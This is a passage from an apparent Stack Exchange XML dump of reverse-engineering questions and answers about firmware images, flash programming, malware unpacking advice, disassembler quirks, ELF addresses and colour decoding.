00 00 00 80 80  2a 3a 6a 7a 8a 9b 00 00  |........*:jz....|&#xA;4cc9ff80  00 00 00 00 00 82 82 2a  3a 6a 7a 8a 9b 00 00 00  |.......*:jz.....|&#xA;4cc9ff90  00 00 00 00 81 81 32 72  00 00 00 00 00 00 00 00  |......2r........|&#xA;4cc9ffa0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;4cc9ffb0  00 00 00 00 00 00 00 00  00 00 00 00 06 10 30 78  |..............0x|&#xA;4cc9ffc0  99 50 00 00 00 00 00 01  01 01 01 02 02 03 03 03  |.P..............|&#xA;4cc9ffd0  04 04 04 05 05 06 06 06  0a 0a 0a 0b 0b 0c 0c 0c  |................|&#xA;4cc9ffe0  07 07 07 07 08 08 09 09  09 0d 0d 0d 0e 0e 0f 0f  |................|&#xA;4cc9fff0  0f 04 04 04 05 05 06 06  06 10 10 04 04 04 05 05  |................|&#xA;4cca0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I issued &lt;code&gt;binwalk system.img&lt;/code&gt;, the output looked rather usual until the end of the file, which produced:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;1062442       0x10362A        Unix path: /../gm200/acr/bl.bin&#xA;1062698       0x10372A        Unix path: /../gm200/acr/ucode_load.bin&#xA;1062954       0x10382A        Unix path: /../gm200/acr/ucode_unload.bin&#xA;1063466       0x103A2A        Unix path: /../gm200/gr/fecs_bl.bin&#xA;1063978       0x103C2A        Unix path: /../gm200/gr/fecs_inst.bin&#xA;1064490       0x103E2A        Unix path: /../gm200/gr/gpccs_bl.bin&#xA;.&#xA;.&#xA;.&#xA;1045975763    0x3E5852D3      Unix path: /android/internal/net/NetworkStatsFactory&#xA;1045982563    0x3E586D63      Unix path: /android/internal/os/Zygote&#xA;1046052864    0x3E598000      ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)&#xA;1046110595    0x3E5A6183      mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit&#xA;1046294454    0x3E5D2FB6      POSIX tar archive, owner user name: &amp;quot;SKIP_PADDING FAILED at line %d&amp;quot;, owner group name: &amp;quot;hunk header at %d has invalid ty&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I couldn't find any information whatsoever about the aforementioned issues.&#xA;Any insights on how I can address the problem?&lt;/p&gt;&#xA;" OwnerUserId="22915" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-01-16T08:32:44.767" Title="Unsquashfs fails partways with gzip error code -5" Tags="|linux|file-format|decompress|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17209" PostTypeId="1" CreationDate="2018-01-16T11:53:19.153" Score="0" ViewCount="192" Body="&lt;p&gt;I'm programming flash memory of MPC5606B through JTAG interface using Nexus. I'm imitating a tool that perform this task. However, in the middle of the process, the entire flash memory is erased. I skipped this part in code, but, when I do this, the write to memory does not work. Of course I have a backup of the memory, but, I was wondering, to allow programming the data flash is necessary to erase a block memory? I mean, the procedure is a bit long, so, I was wondering if I can just to write in memory positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool makes a selection of 4 blocks of 16kB to be erased, it is the entire dataflash of MPC5606, 64kB. So, I can erase only 16kB instead of 64kB, but, my doubt is, is  really necessary to erase a block of 16kB, or the entire memory of 64kB, just to write some bytes , for example 16 bytes, in the flash memory ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked about this information on &lt;a href=&quot;https://www.nxp.com/docs/en/reference-manual/MPC5606BRM.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;datasheet&lt;/a&gt; and documents like &lt;a href=&quot;https://www.nxp.com/docs/en/application-note/AN4365.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;AN4365&lt;/a&gt; and I didn't find nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, any help will be appreciated.&#xA;With my bests regards ,&#xA;Daniel.&lt;/p&gt;&#xA;" OwnerUserId="21835" LastActivityDate="2018-01-16T14:34:48.570" Title="Writing data flash of MPC5606B through JTAG interface using Nexus" Tags="|jtag|flash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17210" PostTypeId="2" ParentId="17209" CreationDate="2018-01-16T14:34:48.570" Score="1" Body="&lt;p&gt;At a guess, it is using NAND flash. This type of flash has good density and is reasonably cheap but it has one limitation: individual bits can be only toggled from 1 to 0 but not the other way around. If you need to set any bit to 1, you need to erase it, and NAND can only be erased in whole blocks (block size and layout is chip-specific). So, to write almost any byte you usually have to save the contents of the current block, erase it (turning all bytes to FFs), then write out the saved contents with the updated byte value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is indirectly confirmed by the appnote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When flash memory blocks have been erased, they then can be programmed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I.e. it is assumed that the blocks to be programmed (=written to) have been erased first. However, writing bytes that only change individual bits from 1 to 0 might still work even without erasing so you can try that.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-01-16T14:34:48.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17211" PostTypeId="1" AcceptedAnswerId="17214" CreationDate="2018-01-16T12:51:52.733" Score="0" ViewCount="3545" Body="&lt;p&gt;Recently I have been working on reverse engineering of binary samples and executables of known malware. Most of them have been packed or encrypted. And to reach the actual data or part of the program we have to find where it is unpacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any common way or some technique to unpack malware samples for easier analysis?&lt;/p&gt;&#xA;" OwnerUserId="22954" OwnerDisplayName="Bruteforce " LastActivityDate="2018-01-16T17:39:08.083" Title="How to unpack and decrypt malware?" Tags="|malware|static-analysis|dynamic-analysis|" AnswerCount="2" CommentCount="2" ClosedDate="2018-01-19T19:18:02.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="17212" PostTypeId="2" ParentId="17211" CreationDate="2018-01-16T13:05:52.847" Score="2" Body="&lt;p&gt;Dependent on how the packing/encryption works one common approach is to run the malware (in a sandboxed environment) and then take a dump of it while in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the malware only temporarily decrypts the parts you wish to see you may need to run the process within a debugger environment.&lt;/p&gt;&#xA;" OwnerUserId="22927" OwnerDisplayName="Hector" LastActivityDate="2018-01-16T13:05:52.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17213" PostTypeId="1" AcceptedAnswerId="17219" CreationDate="2018-01-16T17:09:48.583" Score="1" ViewCount="259" Body="&lt;p&gt;I am a little bit confused with this strange issue with ARM firmware. My original firmware file has no symbols, so I need to find them by myself trough the internet. But here I have a certain function of which I am sure. I have some reliable xrefs to it. But sometimes, some function call the loc_'s following its start. Look here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KPBWB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KPBWB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it should start from the STMFD as usual, but here is not the case. Why? &lt;/p&gt;&#xA;" OwnerUserId="22926" LastActivityDate="2018-01-16T23:29:37.370" Title="ARM function start points look strange sometimes in IDA Pro" Tags="|ida|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17214" PostTypeId="2" ParentId="17211" CreationDate="2018-01-16T17:39:08.083" Score="2" Body="&lt;p&gt;To add to what Hector said, I'd like to offer a couple of excellent tools, as well as an illuminating YouTube channel from an industry expert who shows you techniques and tools used to reverse modern malware targets.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.split-code.com/processdump.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Dump&lt;/a&gt;: &lt;em&gt;Dumps malware memory components back to disk for analysis. Dumping of regions without PE headers is supported and in these cases PE headers and import tables will automatically be generated. Process Dump supports creation and use of a clean-hash database, so that dumping of clean files such as kernel32.dll can be skipped.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://hshrzd.wordpress.com/pe-sieve/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE-Sieve&lt;/a&gt;: &lt;em&gt;Detects inline hooks, hollowed processes, process doppelgänging, and much more.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCVFXrUwuWxNlm6UNZtBLJ-A/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malware Analysis for Hedgehogs&lt;/a&gt;: Funny name for a channel, but absolutely invaluable tutorials for reversing modern malware, including everything from tools, to techniques, to how to set up environments for successful reversing, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are of couse a multitude of tools and techniques, but what I've mentioned herein should put you on the right path, especially if using the tools mentioned and utilized by MalwareAnalysisForHedgehogs.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-01-16T17:39:08.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17215" PostTypeId="2" ParentId="17203" CreationDate="2018-01-16T19:16:49.790" Score="3" Body="&lt;p&gt;Right now it is not possible to label instructions in the disassembly as structure members. It is however possible to define structs and visit them in memory (similar to 010 editor). The main sources of information about this are &lt;a href=&quot;https://x64dbg.com/blog/2016/12/04/type-system.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://x64dbg.com/blog/2016/11/27/weekly-digest-14.html#types&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example if you have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma pack(1)&#xA;struct MyStruct&#xA;{&#xA;    int a;&#xA;    bool b;&#xA;    const char* c;&#xA;};&#xA;&#xA;void test(MyStruct* p)&#xA;{&#xA;    MyStruct* s = p;&#xA;    s-&amp;gt;a = 0x1234;&#xA;    s-&amp;gt;b = true;&#xA;    s-&amp;gt;c = &quot;Hello world&quot;;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    MyStruct s;&#xA;    test(&amp;amp;s);&#xA;    return s.a;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You use the &lt;code&gt;Parse header&lt;/code&gt; option in the &lt;code&gt;Struct&lt;/code&gt; tab to parse the following header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct MyStruct&#xA;{&#xA;    int a;&#xA;    bool b;&#xA;    const char* c;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will load the structure (use the command &lt;code&gt;EnumTypes&lt;/code&gt; to see a list of types). Now when you're paused at the disassembly of the &lt;code&gt;test&lt;/code&gt; function you can use the &lt;code&gt;Visit type&lt;/code&gt; option from the &lt;code&gt;Struct&lt;/code&gt; tab to show the contents of the memory at &lt;code&gt;ecx&lt;/code&gt; in a structural way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7m0js.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addresses of the structure members will also be added as temporary labels so you can see what an instruction refers to in the info box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mtHFg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature has not been further developed because there was a lack of interest from the community.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-01-16T19:16:49.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17218" PostTypeId="2" ParentId="17174" CreationDate="2018-01-16T22:22:05.867" Score="2" Body="&lt;p&gt;This is most likely caused by at least one of three issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The first time IDA starts up on a machine, it'll prompt you for a license and you'll have to accept it. If the first time you run IDA is with the &lt;code&gt;-S&lt;/code&gt; flag, IDA will hang on that screen and you'll need to manually accept it (either in that execution or a previous one). You could also work around it by manually creating the marker IDA uses, but i'll let you figure that out yourself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While running, IDA pops up multiple other dialogs you'll need to accept, answer and approve (the disassemble a new file, one loading symbols, etc...) those may be automatically dismissed by providing the &lt;code&gt;-A&lt;/code&gt; flag (A stands for autonomous). This won't avoid the license agreement mentioned in the previous paragraph, and will even make it hidden and harder to accept.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your script may no be behaving with IDA. This basically means that IDA is designed as an interactive tool and not a command line tool, and one side-effect of that is that it will not automatically perform a peaceful exit once the executed script is done. You'll have to call &lt;code&gt;idc.Exit(exitcode)&lt;/code&gt; when your script finished, or otherwise it'll just hang in there forever. You may also want to consider calling AutoWait()` at the beginning of your script.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;P.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to consider the &lt;code&gt;-A&lt;/code&gt; and/or &lt;code&gt;-c&lt;/code&gt; (and there's a small chance you'll want to look at &lt;code&gt;-a&lt;/code&gt; as well) flags instead of the &lt;code&gt;-t&lt;/code&gt; one (which I don't think will do what you desire).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-01-16T22:22:05.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17219" PostTypeId="2" ParentId="17213" CreationDate="2018-01-16T23:29:37.370" Score="0" Body="&lt;p&gt;Whenever you see nonsensical ARM instructions with conditional suffixes it's likely data being disassembled. Double-check your firmware load address and inspect the calling code; I think the call may have been bogus code too, which caused IDA to start disassembling at a wrong place.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-01-16T23:29:37.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17221" PostTypeId="2" ParentId="3371" CreationDate="2018-01-17T06:19:01.160" Score="1" Body="&lt;p&gt;For anyone who comes here from google, I can indeed confirm these devices have their firmware encrypted and gzipped compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any doubts about the above statement, check &lt;a href=&quot;https://github.com/x56/airpyrt-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I put together a &lt;a href=&quot;http://theairportwiki.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; a while back documenting our findings about the AirPort family of products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I recently started tinkering with these devices again, and successfully built a NetBSD toolchain for the ARM Big Endian variant of these devices.  And if my memory serves me correctly this particular model of AirPort Express uses a MIPS Big Endian processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;br /&gt; &#xA;Use the above mentioned tools, and you can enable SSH on your AirPort device and it will persist.  And come join us in #theairportwiki on freenode.net when you get a chance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers &lt;br /&gt;&#xA;Chris&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2018-01-17T06:19:01.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17222" PostTypeId="1" CreationDate="2018-01-17T09:03:25.680" Score="0" ViewCount="195" Body="&lt;p&gt;I have a classic Mac OS executable where control is given to an instruction whose hex encoding is $FBE6. I have been unable to find documentation for this F-line instruction, and it doesn't appear to be a m68881 coprocessor instruction given that the coprocessor ID, which is in bits 9-11, is 0b101 = 5.&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2018-01-21T13:24:15.690" Title="What does the M68k $FBE6 instruction do on a classic Mac?" Tags="|macos|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17224" PostTypeId="1" AcceptedAnswerId="17225" CreationDate="2018-01-17T14:41:49.523" Score="1" ViewCount="675" Body="&lt;p&gt;I just started learning about reconstructing C code from assembler instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following piece of assembler code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax dword ptr [ebp+8]&#xA;add eax, dword ptr[ebp-4]&#xA;movsx ecx, byte ptr [eax]&#xA;test ecx, ecx&#xA;jne XXXXX&#xA;comp dword ptr [ebp-4], ffh&#xA;jle XXXX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to reconstruct the condition of these lines but I have some problems or things I am not sure about:&#xA;I re-constructed the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let,&lt;code&gt;ebp+8= param1&lt;/code&gt; and &lt;code&gt;ebp-4 = i&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(param1[i]!=’\0’ || i&amp;lt;=0xff){&#xA;…&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am wondering about this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movsx ecx, byte ptr [eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I understand &lt;code&gt;movsx&lt;/code&gt; it moves a signed value into a register and sign-extends it with 1. Thus, &lt;code&gt;ecx&lt;/code&gt; shouble look something like &lt;code&gt;0xFFFFFF&amp;lt;eax&amp;gt;&lt;/code&gt;. Because only the lower bytes (&lt;code&gt;byte ptr eax&lt;/code&gt;) of eax are moved and ecx is 1 extended. Where am I wrong?&lt;/p&gt;&#xA;" OwnerUserId="22937" LastActivityDate="2018-01-17T16:50:04.617" Title="re-construction of c code: movsx with test instruction" Tags="|x86|c|static-analysis|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17225" PostTypeId="2" ParentId="17224" CreationDate="2018-01-17T16:50:04.617" Score="3" Body="&lt;p&gt;You may want to familiarize yourself with &lt;a href=&quot;https://en.wikipedia.org/wiki/Two%27s_complement&quot; rel=&quot;nofollow noreferrer&quot;&gt;two's complement&lt;/a&gt; notation. It will only extend the sign bit (msb) into the larger register. So, the msb will be extended into all the additional bits -- sxxxxxxx -&gt; sssssssssssssssssssssssssxxxxxxx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the byte value pointed to by &lt;code&gt;eax&lt;/code&gt; was 1 (0b00000001), &lt;code&gt;ecx&lt;/code&gt; would be 1 (0b00000000000000000000000000000001). Similarly, if it was the most positive number possible in a two's complement byte, 127 (0b01111111), &lt;code&gt;ecx&lt;/code&gt; would be 127 as well (0b00000000000000000000000001111111). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the sign extension is needed is to maintain the value for negative numbers. If the value were -1 (0b11111111), then if you just simply zero-extended into a 32-bit value you would get 255 (0b00000000000000000000000011111111) in &lt;code&gt;ecx&lt;/code&gt; instead of -1 (0b11111111111111111111111111111111).&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2018-01-17T16:50:04.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17226" PostTypeId="1" AcceptedAnswerId="17231" CreationDate="2018-01-17T17:24:01.087" Score="5" ViewCount="900" Body="&lt;p&gt;I have an MIPS binary file that I want to analyze. I am having a little trouble understanding the way elfread and r2 interpret the adressing scheme from a binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, r2 finds a function named &lt;code&gt;bcmVlan_setDefaultAction&lt;/code&gt; at the location &lt;code&gt;0x0800d318&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0800fbb8]&amp;gt; s sym.bcmVlan_setDefaultAction  &#xA;[0x0800d318]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While as per the .symtab table, this function is located at &lt;code&gt;0x0000d2c8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -a bcmvlan.ko | grep bcmVlan_setDefaultAction&#xA;123: 0000d2c8   616 FUNC    GLOBAL DEFAULT    2 bcmVlan_setDefaultAction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried some other functions too. It seems the addresses shown by readelf and r2 are corelated, but I can't find why this difference is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="22938" LastActivityDate="2018-01-18T09:10:28.173" Title="Difference between 'readelf' and 'radare2' addresses" Tags="|elf|radare2|address|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17227" PostTypeId="2" ParentId="16918" CreationDate="2018-01-17T22:38:36.013" Score="1" Body="&lt;p&gt;As of version 4.3.12 you can import/export types to/from a Hopper project.&lt;/p&gt;&#xA;" OwnerUserId="4211" LastActivityDate="2018-01-17T22:38:36.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17228" PostTypeId="1" AcceptedAnswerId="17229" CreationDate="2018-01-17T22:46:17.757" Score="1" ViewCount="844" Body="&lt;p&gt;I am currently trying to reverse engineer some game files. I have found the exact location of each graphic element, but now I am stuck trying to convert their data to &amp;quot;readable&amp;quot; rgb code. They use 16 bit long Hex values (0xC306 or 110000110000 converts to R:0 G:219 B:24)&lt;/p&gt;&#xA;&lt;p&gt;The file is written in little endian. Could someone tell me how they convert it?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;More examples:&lt;/p&gt;&#xA;&lt;p&gt;(0xCFC0 -&amp;gt; RGB 198 24 123)&lt;/p&gt;&#xA;&lt;p&gt;(0xFFF0 -&amp;gt; RGB 247 28 255)&lt;/p&gt;&#xA;&lt;p&gt;(0xFF00 -&amp;gt; RGB 0 28 255)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22940" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-01-18T07:39:28.230" Title="Converting 16 bit long Hex value to a color" Tags="|file-format|decompress|hexadecimal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17229" PostTypeId="2" ParentId="17228" CreationDate="2018-01-18T03:31:58.323" Score="4" Body="&lt;p&gt;It appears to be stored in byte-reversed order from what you gave with a standard 5-6-5 bit encoding and then scaled to a maximum of 255 for each.&lt;/p&gt;&#xA;&lt;h1&gt;0xC0CF (0b1100000011001111)&lt;/h1&gt;&#xA;&lt;p&gt;R: 24 (0b11000) * 255/31 = &lt;strong&gt;197&lt;/strong&gt;  G: 6 (0b000110) * 255/63 = &lt;strong&gt;24&lt;/strong&gt;  B: 15 (0b01111) * 255/31 = &lt;strong&gt;123&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h1&gt;0xF0FF (0b1111000011111111)&lt;/h1&gt;&#xA;&lt;p&gt;R: 30 (0b11110) * 255/31 = &lt;strong&gt;247&lt;/strong&gt;  G: 7 (0b000111) * 255/63 = &lt;strong&gt;28&lt;/strong&gt;  B: 31 (0b11111) * 255/31 = &lt;strong&gt;255&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h1&gt;0x00FF (0b0000000011111111)&lt;/h1&gt;&#xA;&lt;p&gt;R: 0 (0b00000) * 255/31 = &lt;strong&gt;0&lt;/strong&gt;  G: 7 (0b000111) * 255/63 = &lt;strong&gt;28&lt;/strong&gt;  B: 31 (0b11111) * 255/31 = &lt;strong&gt;255&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-01-18T07:39:28.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17230" PostTypeId="2" ParentId="14142" CreationDate="2018-01-18T09:08:11.783" Score="0" Body="&lt;p&gt;There's a guy which is reversing Mele X1000 Android TV box, which is Telechips TCC8935, he might have some information &lt;a href=&quot;https://www.cnx-software.com/tag/telechips&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cnx-software.com/tag/telechips&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-01-18T09:08:11.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17231" PostTypeId="2" ParentId="17226" CreationDate="2018-01-18T09:10:28.173" Score="5" Body="&lt;h2&gt;.symtab&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The symbol table of readelf (&lt;code&gt;.symtab&lt;/code&gt;) shows you the offset of each symbol from the base of the section the symbol is in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you showed us, when you listing the table you get something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --symbols &amp;lt;filename&amp;gt;&#xA;Symbol table '.symtab' contains 471 entries:&#xA;   Num:    Value  Size Type    Bind   Vis      Ndx Name&#xA;     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND&#xA;     1: 00000000     0 SECTION LOCAL  DEFAULT    2&#xA;     2: 00000000     0 SECTION LOCAL  DEFAULT    4&#xA;     3: 00000000     0 SECTION LOCAL  DEFAULT    6&#xA;     4: 00000000     0 SECTION LOCAL  DEFAULT    8&#xA;     5: 00000000     0 SECTION LOCAL  DEFAULT   10&#xA;     6: 00000000     0 SECTION LOCAL  DEFAULT   12&#xA;       ...    ... Truncated for readability ...   ...&#xA;   462: 0000d2c8   616 FUNC    GLOBAL DEFAULT    2 bcmVlan_setDefaultAction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One column is interested us especially, which is the &lt;code&gt;Ndx&lt;/code&gt; column. &lt;code&gt;readelf&lt;/code&gt; identifies each section by an integer index. This is what Ndx stands for. The output of the &lt;code&gt;.symtab&lt;/code&gt; shows us that our function &lt;code&gt;bcmVlan_setDefaultAction&lt;/code&gt; belongs to Ndx number 2.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Section Table&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To see which section has index number &quot;2&quot; you should execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --sections &amp;lt;filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you'll execute it you'd probably see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;There are ?? section headers, starting at offset 0x????:&#xA;Section Headers:&#xA;&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            00000000 000000 000000 00      0   0  0&#xA;  [ 1] &amp;lt;section name&amp;gt;    &amp;lt;type&amp;gt;          00000000 0000?? 0000?? ??   A  0   0  4&#xA;  [ 2] .text             &amp;lt;type&amp;gt;          00000000 000050 00???? 00  AX  0   0 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You function will probably be in the &lt;code&gt;.text&lt;/code&gt; section which its base address (&lt;code&gt;Off&lt;/code&gt; column) is &lt;code&gt;0x000050&lt;/code&gt;, i.e 0x50 bytes from the beginning of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, it should all make sense since it is what you get when subtracting the address you got from &lt;code&gt;readelf&lt;/code&gt; from the one you got from &lt;code&gt;radare2&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0d318 - 0x0d2c8 = 0x50. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-01-18T09:10:28.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17232" PostTypeId="1" AcceptedAnswerId="17235" CreationDate="2018-01-18T12:10:16.597" Score="2" ViewCount="206" Body="&lt;p&gt;There's time zone information in windows dumps stored in MINIDUMP_MISC_INFO_N, yet I couldn't find the command which prints this information in windbg. So, I have to extract this information from the dump manually...&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-01-18T17:08:01.510" Title="Is there a command in Windbg which prints MINIDUMP_MISC_INFO_N from the Windows mini dumps?" Tags="|windows|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
